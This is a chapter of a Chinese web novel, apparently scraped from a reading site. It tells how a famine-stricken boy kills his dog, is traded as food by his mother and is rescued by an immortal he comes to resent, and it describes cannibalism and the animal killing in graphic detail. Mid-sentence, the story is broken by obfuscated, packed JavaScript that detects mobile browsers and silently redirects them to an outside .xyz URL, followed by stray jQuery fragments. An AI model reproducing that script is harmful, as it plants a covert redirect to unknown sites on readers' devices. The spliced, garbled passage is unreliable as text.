41.达奚

作品:《药郎

    玉阑音带着达奚恩山回到了虚空山上,收拾了一件干净的客房给他住,吃的喝的用的样样不落。


    只可惜达奚恩山不太领情。


    达奚恩山长得很清秀,只是太瘦,瘦得两只眼睛总铜铃似的瞪着,脸颊也凹陷得看得到颧骨。


    他从不同玉阑音和善玄说话,总恶狠狠地一个人躲着,活像虚空山上的一道鬼影。


    善玄看来看去好几天,对这个达奚恩山好奇得很,“师尊,这是您外出游历新收来的徒弟吗?小师弟他看着……好像不太好相处。”


    玉阑音摇了摇头,“我没打算要收他为徒。”


    “哦,这样啊,”善玄道,“那是今后要送去哪个长老门下?或者只是来疗伤的?”


    “我于他有愧,”玉阑音看着殿门口处的那躲躲闪闪的一道影子,道,“虚空山上也不多他这一张吃饭的嘴,先养着吧。”


    话音刚落,门口那道影子左右晃了晃,不见了。


    玉阑音遂收回了目光。


    达奚恩山确实是很恨玉阑音。


    他和她娘住在的东乡村,穷乡僻壤靠天吃饭,今年大旱闹了饥荒,受害极其严重。


    在玉阑音和元宿央去到村子之前,他们已经吃光了地里能见到的所有野菜。树皮吃着喇嗓子,达奚恩山吃了之后接连咳了好几天血痰。


    时间长了,村子里逐渐饿死了人,有的饿死在家里,有的饿死在了街上。


    街上若是死了人,周边的人都会发出一种极为欢愉的欢呼声,随后一拥蜂而上,你一条胳膊我一条腿的全都分干净。


    达奚恩山的娘叫晚秀,前几日夜里出门,捡回来了一整个死人,高兴得活像是过了年。


    当晚,他们家罕见地开了荤,炖了一锅肉汤,烟囱里传来肉香,引得周围一众流浪汉围着他们屋子闻来闻去。


    那一锅肉汤上还漂着肥美的肉沫。


    那晚上,晚秀眼睛发着光,一个劲往他碗里盛,“快吃啊,小山,好吃。”


    达奚恩山看着汤碗里的半截瘦瘦的肋骨,再也忍不住跑了出去,吐了个昏天黑地。


    玉阑音和元宿央到东乡村的前一天,那天早上,达奚恩山已经三四日滴水未进,饿得头晕眼花,干呕了四五回。


    他背着他娘偷偷养着一只小狗,小狗也骨瘦嶙峋,但是看起来还算是有精神,这时候正窝在他怀里摇尾巴。


    达奚恩山抱着他的小狗,躺在地上,笑着同它低声呢喃:“我娘说,明天把我送给隔壁李爷,我快死啦,阿白。”


    阿白甩甩尾巴,哼唧两声,把下巴搭在了达奚恩山的手上。


    “可我只担心你。我死了之后,你可一定要好好照顾自己,别总待在这里,会被我娘发现的。”达奚恩山摸摸它的头,狠狠心把它往外推了推,“快走吧,趁现在天早,逃出村吧。明天就来不及了。”


    阿白被推得一个趔趄,瘦弱的它在地上挣扎了两下才起了身,又摇着尾巴凑回到达奚恩山身边,舔舔他的手。


    达奚恩山皱着眉,狠狠心踢了阿白一脚,“快走啊。”


    阿白被踢了个老远,歪歪扭扭从地上爬起来,又踉踉跄跄摇着尾巴回到达奚恩山身边。


    达奚恩山再也伸不出手把阿白推开了。


    他揉了揉眼睛,好半晌,终于蹲下身抱起阿白,无声地痛哭起来。


    那天晚上,达奚恩山把阿白杀了。


    用一块带着尖的石头,砸碎了阿白小小的脑袋。


    他总共拿这石头敲了两下。


    第一下。


    那时达奚恩山的视线被泪水糊得一片模糊,下手歪了,刺穿了阿白的肩胛骨。


    阿白哀嚎一声,前爪已经不再能动,但是他没躲,只躺在血泊里朝达奚恩山摇着尾巴。


    “对不起,对不起……”达奚恩山慌了神,擦去了自己碍事的眼泪,“是我下手不准,对不起,阿白,疼不疼啊阿白……”


    第二下。


    达奚恩山咬着嘴唇,不敢闭眼睛,他这次用了很大的力气,精准地把石头刺进了阿白的头骨。


    万幸,这次阿白在瞬间便没了声息。


    达奚恩山说不出是松了口气,还是只是由于悲痛脱了力。


    他腿一软,直接跪在了这血泊之中。


    他跪了好久好久。


    最终,他伸出手,颤抖着指尖蘸了蘸阿白的血。


    他哭着吮了吮带血的指头。


    真好。


    阿白,明天,你陪着我,我们一起走吧。


    第二天,他果然是被晚秀送到了邻居李爷家里。


    李爷家是个万元户,之前家里一个夫人三个小妾,还有不少佣人。


    只是如今这些人也不知道怎么一个都没了,家里只还剩一个瘦瘦小小的八九岁的女孩子。


    晚秀也三四天没吃过东西了,饿得已经皮包骨头。她捏了捏这小姑娘的胳膊,问李爷:“多少斤?”


    “昨天称了,不太到四十。”李爷道,“你家呢?”


    “我家将近五十,”晚秀看起来不太开心,“亏了。”


    李爷乐呵呵一笑,“那有什么,你一个女人家家,吃得也少嘛,一个数里赶,是不是?”


    晚秀嘟哝着一些辨不清的方言,许久才把达奚恩山推了推,“就这样吧,换换。”


    李爷笑道一声:“好嘞!”


    达奚恩山就这么到了李爷家。


    李爷是个看起来仍旧有些富态模样的中年人,他似乎没挨过什么饿,当天夜里只是割了达奚大腿上两三块肉,便乐呵呵丢下他在库房里走了。


    他大概是觉得达奚恩山受了伤大概也没再有什么力气,库房的门都没关结实。


    达奚恩山的确是因为疼痛晕过去了很久,但是很快他就醒来了。他的胃里一阵火热的灼烧,烧得他浑身发抖。


    那时候天正黑,在求生的本能驱使之下,他拖着血淋淋的腿一步三跌地往外逃去。


    走了好久好久,达奚恩山似乎是上了山,进到了一片竹林。


    他终于耗光了最后一丝力气,倚在一棵竹子旁,眼前已然开始走马灯。


    在一片朦胧中,他见到了他早逝的爹,看到了他娘晚秀,最后是阿白。


    阿白……


    达奚恩山摸了摸肚子,肚子里依旧犯着恶心。


    是阿白还在吗?


    他笑起来,意识逐渐恍惚。


    恍惚之外,他只感觉到了莫大的满足的幸福。


    可惜天不遂人愿。


    他居然活了。


    达奚恩山看着他的救命恩人,看着他慈眉善目问他“好些了吗?”的时候,他简直是要恨得面目扭曲丑陋。


    他只觉得面前这人自我感动的伪善,虚伪至极。


    他来的早一天、晚一天都好,可为什么偏偏要今天?


    那被放弃扔到隔壁的他算什么?


    阿白又算什么?


    达奚恩山如此想着只觉得肚子里有火焰在烧,他不受控地连连呕吐起来。


    阿白……阿白。


    直到吐出了绿色的胆汁,苦得嗓子发疼了,他才停止了这场自虐。


    他想,依照常理,玉阑音这种人,大概是要来同他说些宽慰人的大道理了,到时候他定然是一句话不会同玉阑音说。


    不过玉阑音并没有这么做。


    许多天下来,他和达奚恩山说过的话甚至是屈指可数。


    大多也不过是“吃饭了”“睡觉吧”这些话,叫达奚恩山憋了很多天的脾气都有些无处宣泄,憋屈得很。


    直到那一日,玉阑音降了大雨,达奚恩山在屋内看着他从雨中回来。


    出乎他意料的,玉阑音的脸上没有他设想的那种自傲的满足,反而看起来有些悲伤。


    达奚恩山看着情绪不高的玉阑音极慢地走近他,弯下腰,极轻极轻对他说了一句:“对不起,是我来得太晚了。”


    玉阑音话音落下的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13972984|146057||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那一刻,达奚恩山轰然感觉到的是无穷尽的虚无。


    因为他发现,就在那个瞬间,他好像已经轻而易举地原谅了眼前这个人。


    达奚恩山不喜欢这种感觉。


    他无萍无依重活一世,心里总得靠着一点什么东西才能活下去。


    爱也好,恨也好,但是原谅了,就什么都没有了。


    回到虚空山上后,玉阑音又回到了每日同门客讲学的日子,山上其他事情他依旧交给善玄去处理,平日鲜少过问。


    一切和之前无甚两样,只是这些天里,他忽然发现,达奚恩山这个小孩子出现的频率越来越高了。


    有的时候是在他流离所门前徘徊,有的时候是缩在一众求学门客之后亦步亦趋。


    总之是经常能见到他。


    玉阑音同达奚恩山平心静气谈心甚少,见了这般只当他是有修习的心思,便故意在讲学之时讲得更细致了一些,方便达奚恩山能听得懂。


    某种程度上来说,玉阑音也并不完全是做了白工。


    达奚恩山的确是耳濡目染地听进去了一些,他不愚笨,多少也是学到了些真本事。


    达奚恩山经常觉得,其实觉得自己大概已经不恨玉阑音了,只是依旧有点讨厌他。


    他讨厌玉阑音这人笑面虎的虚头巴脑,平日又总是像个大爷似的难伺候。


    他也讨厌玉阑音假清高作壁上观,一双眼睛从不在任何人身上停留。


    讨厌得很。


    但是又在意得很。


    为此,他每日接近于监视地当着玉阑音的跟屁虫,希望借此排解心中的焦躁。


    对于达奚恩山这种没由来的对抗情绪,玉阑音自然是察觉得到。


    但是玉阑音不甚在意,只当这孩子这么多年气还未消,平日里多给些好吃的好玩的哄着,其他便由着他去了。


    直到那天,玉阑音将达奚恩山叫来,同他说:“你的天资不错,这些年里也或多或少学了些东西,我同鹤生说过了,以后你就随着他修行,可好?”


    可这话一出,达奚恩山似乎是被戳到了什么痛处,他忽然抬起了头,眼中忽然暴起一阵愤怒的不可置信,“玉阑音,你也要把我送走?”


    玉阑音一愣:“送走?”


    达奚恩山浑身发起抖来,一时间,他一心只能回忆起晚秀带他去李爷家的那个清晨。


    恍惚地,他甚至见玉阑音身上的黛色长袍已经是晚秀的粗布衣,玉阑音消瘦的脸颊已经和晚秀的脸逐渐重合。


    达奚恩山的脸猛地煞白起来。


    玉阑音察觉到有些不对,他一皱眉,解释道:“并不是送走,我探过你的灵脉,同鹤生相近,你随鹤生……”


    “玉阑音,”达奚恩山恶狠狠念了他的名字,打算了玉阑音的话,“捉弄我,作践我,抛弃我,好玩吗?”


    玉阑音怔忪良久,“我从来没有这么想过,恩山,只是鹤生比我更适合你,你随时可以回来虚空山,只要你想……”


    “闭嘴吧,玉阑音。”达奚恩山掌心攥出了血,“我恨你,玉阑音。我开始恨你了,我一辈子、生生世世会记得你、记恨你。”


    玉阑音一怔忪。


    玉阑音这人,虽然乍一看能说会道八面玲珑,但事实上,他同别人交往的经验少得可怜。


    他没有被爱过,于是总想付出更多的爱给别人。在一段关系中,他空荡的一颗心能想到的、能做到的所有,就只有努力对别人好这一件事。


    可很多时候,那只是一种无比丑陋的、笨拙的、自大的、自我感动的一厢情愿。


    玉阑音比谁都清楚自己的这个坏毛病,于是他已经竭尽所能的去避免同别人产生联系。


    他也因此不太在乎别人对他的态度,因为毕竟连他自己都很讨厌自己。


    别人对他差,他咎由自取;别人对他好,他受之有愧。


    玉阑音看着对他说“恨”的达奚恩山,想:你看,这次果然也被我搞砸了。